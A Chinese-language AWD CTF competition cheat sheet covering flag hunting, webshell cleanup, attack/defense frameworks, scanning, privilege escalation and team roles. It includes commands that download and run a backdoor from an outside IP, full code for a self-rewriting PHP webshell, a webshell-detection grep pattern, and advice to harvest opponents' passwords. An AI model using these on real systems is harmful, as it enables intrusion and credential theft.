一.找flag
find / -name *flag*
grep -rn "flag" *
找到直接读取,数据可能会太多了
cat $(find / -name *flag*)
二.删除不死马
1.命令kill
ps aux | grep www-data | awk '{print $2}' | xargs kill -9
2.条件竞争
循环写入或者循环删除
#!/bin/bash
dire="/var/www/html/.base.php/"
file="/var/www/html/.base.php"
rm -rf $file
mkdir $dire
./xx.sh
三.脚本
1.某github脚本
批量登陆ssh,修改ssh密码/执行ssh命令
实现半自动化批量攻击,需要指定payload,以及一句话木马
通过webshell在同目录下种植指定的木马,xnianq.txt中为内存马。
获取到的flag进行提交
https://github.com/xnianq/awd-frame
依赖:
pip install -r Requirement.txt
使用:
python awd-frame.py
说明:
要出外网,下载python的模块,并且有python环境。
2.自动化脚本
https://github.com/dahua966/WEB-AWD-Framework
根目录
Beat.py 攻击脚本
修改内容
setting.py里面flag的格式
交flag机的参数
contro.py里面交flag的函数
backdoor.c 里面回连IP
filecmp里面文件夹位置
防御
(找到代码位置)拖源代码
自己给自己上一句话,用www-data的权限给自己回连内存马
文件监控
抓流量*
流量分析
交flag机调试成功
攻击
webshell扫描一波
发现目标页面
批量攻击
上马
gcc -o check backdoor.c -lpthread -g
cd /tmp&&wget -O check 192.168.1.143/upload/check&&chmod +x check&&./check
cd /tmp;curl -o check 192.168.1.143/check;chmod +x check;./check
垃圾流量
notice
www-data 无法直接反弹shell,不能执行python -c
无法写日志:open_basedir限制,或/tmp权限不足(chmod 777 -R /tmp/log; chown www-data:www-data -R /tmp/log)
运维命令
源码备份
cd /var/www/html && zip -r www.zip./*
scp (-i id_rsa) root@127.0.0.1:/var/www/html/www.zip./
或者直接 scp (-i id_rsa) -r root@127.0.0.1:/var/www/html/ ./www
数据库备份 mysqldump -u root -p test(数据库名) > test.sql
检查flag
find -name "*.txt" | xargs cat | grep -B 10 -E "\w{4}-\w{4}-\w{4}-\w{4}-\w{3}-\w{4}"
上WAF
find /var/www/html -name "*.php"|xargs sed -i "s#<?php#<?php\ninclude_once('/var/www/html/log.php');\n#g"
快速查一下shell
-find /var/www/html -name "*.php" |xargs egrep 'assert|eval|phpinfo\(\)|\(base64_decoolcode|shell_exec|passthru|file_put_contents\(\.\*\$|base64_decode\('
循环杀PHP内存马
while true
do
rm .demo.php
done
3.攻击和waf
https://github.com/sarleon/AWD-helper
攻击脚本,waf,等一些命令。
4.综合利用工具
https://github.com/ssooking/CTFDefense
1.ctf-firewall.sh
iptables配置命令,可一键执行快速配置。使用时可能需要根据环境略微修改
自己修改一键使用
2.commannd.md
一些线下赛中常用的linux操作命令
3.getRoot
一些本地提权poc,每个文件里都有详细的使用注释,编译好的文件在release目录下。还有几个实用脚本
枯燥且使用,自行再总结
4.Monitor
一个简单的文件监控示例脚本,可以监控创建、删除、移动、属性修改操作,自动删除新增文件或目录。已使用pyinstaller打包成了linux可执行程序
5. WAF
linux版安全狗和几个waf脚本
5.合集
https://github.com/admintony/Prepare-for-AWD
6.php的web流量抓取、分析的应用
https://github.com/wupco/weblogger
类似于一个web应用,UI界面还不错
7.AWD-Predator-Framework-master-一键的使用
https://github.com/Ares-X/AWD-Predator-Framework
感觉还行不错的项目,推荐使用。
8.AoiAWD-master-重量级
EDR
类似于态势感知设备,使用前布置探针,可以探测文件创建,进程,以及数据包重放。
局限性:初始权限不能太低,因为是桥接一个人的ip至少要两个。
9.watchbird-轻量级
https://github.com/leohearts/awd-watchbird
易于配置(单文件, 无需加载外部js/css)
可以随时开启/关闭某项防御
基本防御:
数据库注入(sql injection)
文件上传(upload)
文件包含(lfi)
flag关键字
PHP反序列化(unserialize)
命令执行(rce)
分布式拒绝服务攻击(ddos)
请求头,请求参数(GET/POST)关键字
特殊字符
深度防御:
响应检测/反向代理(默认将流量发送至本地服务器自检,可配置代理服务器IP及端口实现反代功能)
响应flag检测并返回虚假flag
基于LD_PRELOAD的指令执行保护
基于open_basedir的PHP文件操作保护
网页控制台:
功能开关及配置
实时日志查看
日志流量重放, 可广播流量至指定网段, 支持提取flag自动提交
RCE/文件上传/深度检测 防御通知(由于chrome无法允许不安全的网站(无SSL证书)显示通知,请使用Firefox并修改about:config中dom.webnotifications.allowinsecure为true)
使用:
下载最新版本
将waf.so,watchbird.php文件存放在/var/www/html或其他目录中
将watchbird.php放在www-data可读的目录, 确保当前用户对目标目录可写, 然后执行
php watchbird.php --install [Web目录]
, 安装器将输出安装了watchbird的文件路径
访问任意启用了waf的文件, 参数
?watchbird=ui
打开watchbird控制台, 创建一个初始密码
如需卸载, 请在相同的位置输入
php watchbird.php --uninstall [Web目录]
, 如果您多次运行了安装, 请多次运行卸载直到卸载器无输出
四.主机发现
1.nmap
nmap -sP 192.168.1.0/24
2.ping/sh脚本
#!/bin/bash for ((i=1;i<=254;i++));do ping -c1 192.168.100.$i if [ $? -eq 0 ];then echo "192.168.100.$i">>ip.txt fi done ----------------------------------------- for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.2.%I | findstr "TTL=" 用Ping命令
3.arp发现
4.其他
漏洞等,例如dns域传送漏洞等等
5.httpscan
./httpscan.py 10.20.30.0/24 –t 10
6.追踪,溯源,反制
五.不死马
什么是不死马?
不死马就是上传到目标网站后,访问一次执行,创造一个永远在内存之中不断写入木马代码的程序,无限执行。
常见不死马代码:
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '.func.php';
$code = '<?php eval($_POST[cmd]); ?>';
while (1){
file_put_contents($file,$code);
system('touch -m -d "2021-08-02 18:11:09" .func.php');
usleep(1000);
}
?>
六.扫描器
1.漏洞扫描
主机扫描:
nexus
web漏洞:
appscan
goby(慢,基于nmap)
xray
fscan(快速)
awvs
Nikto
sql:
sqlmap
mdat
mdut
...
漏洞检测工具主要是开拓思维,实际情况用的并不是很多。
2.自我漏洞修复
seay(php)
源码漏洞扫描,代码审计 上述扫描扫自己,自检,理论上自己发现越多越好。 前期收集各种漏洞扫描脚本
goby(工具)
漏洞扫描,及时发现漏洞自行修复
寻找指定web应用版本
每个人的web环境应该都是一样的,发现自己的web应用的版本,以及历史出现的漏洞情况。这里推荐收集一些cms或者web应用的漏洞利用脚本,并且可以根据情况进行源码级别的修复。
七.权限问题
linux提权
这里直接引用cmrex大佬的博客,写的适合初学者入门。
https://www.cmrex.club/?p=321
windows提权
这里直接引用cmrex大佬的博客,写的适合初学者入门。
https://www.cmrex.club/?p=353
数据库提权
mysql:
udf,mof提权。
SQLServer:
sa权限的全,各种组件等。
绕过PHP disable_function
这里直接引用cmrex大佬的博客,写的适合初学者入门。
https://www.cmrex.club/?p=395
工具使用
metasploit也内置了提权的功能,以及其他的作用。
八.防守
看日志
nginx日志,apache日志,java应用的一般比较少,即使出现也是比较常见的例如:weblogic,jboss,shiro等
可以尝试使用流量监控脚本
用户登陆处
可以代码处修改将用户输入的内容写入到某个文件中,可以记录别的选手的密码,可能会有些人用自己的密码试别人的密码,然后我们可以用这个方式进行反打。
应急响应
这里参考应急响应笔记
https://github.com/Bypass007/Emergency-Response-Notes
九.总体思路
1.队伍分配
三人分工协作:(经验所得)
A:防御手。
负责整体防御,收到B的修复信息进行源码修复。同时寻找web应用历史出现的漏洞进行修复。如果有空可以协助C或者B。检测日志,将利用成功的信息发送给C编写攻击脚本批量。上手第一时间上脚本,waf,等一些自动化提高效率的东西。
B:代码审计手。
前期帮助C收集信息。中期负责队伍web应用代码审计。及时发现漏洞,告知A修复,同时告诉C,准备好攻击脚本给C使用,获得flag批量提交。
C:进攻手。
主机发现,黑盒攻击,扫描,寻找历史漏洞以及编写攻击脚本。收到A的攻击payload编写脚本进行攻击批量。编写漏洞脚本批量getshell和批量getflag,批量提交。
2.比赛流程
1.上线
拿到ssh账号后第一时间修改强口令,然后尝试登录其他选手的账号。
备份网站源码,数据库到本地,防止其他选手搞破坏或者自己人失误操作。
找到数据库账号密码登录。
上waf,如果不行,上流量监控或者日种子监控脚本。
2.比赛
批量脚本,这点很重要,提高效率。
队友互相配合,尽量减少不熟练导致的沟通障碍以及技术问题。
趁中午或者休息时间,进行攻击,正式别的选手松懈的时候。
比赛即将结束时,很多队伍会垂直上分,小心,建议自己手上也存留一些资本。
欢迎大家批评指正:cmrex123@163.com
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)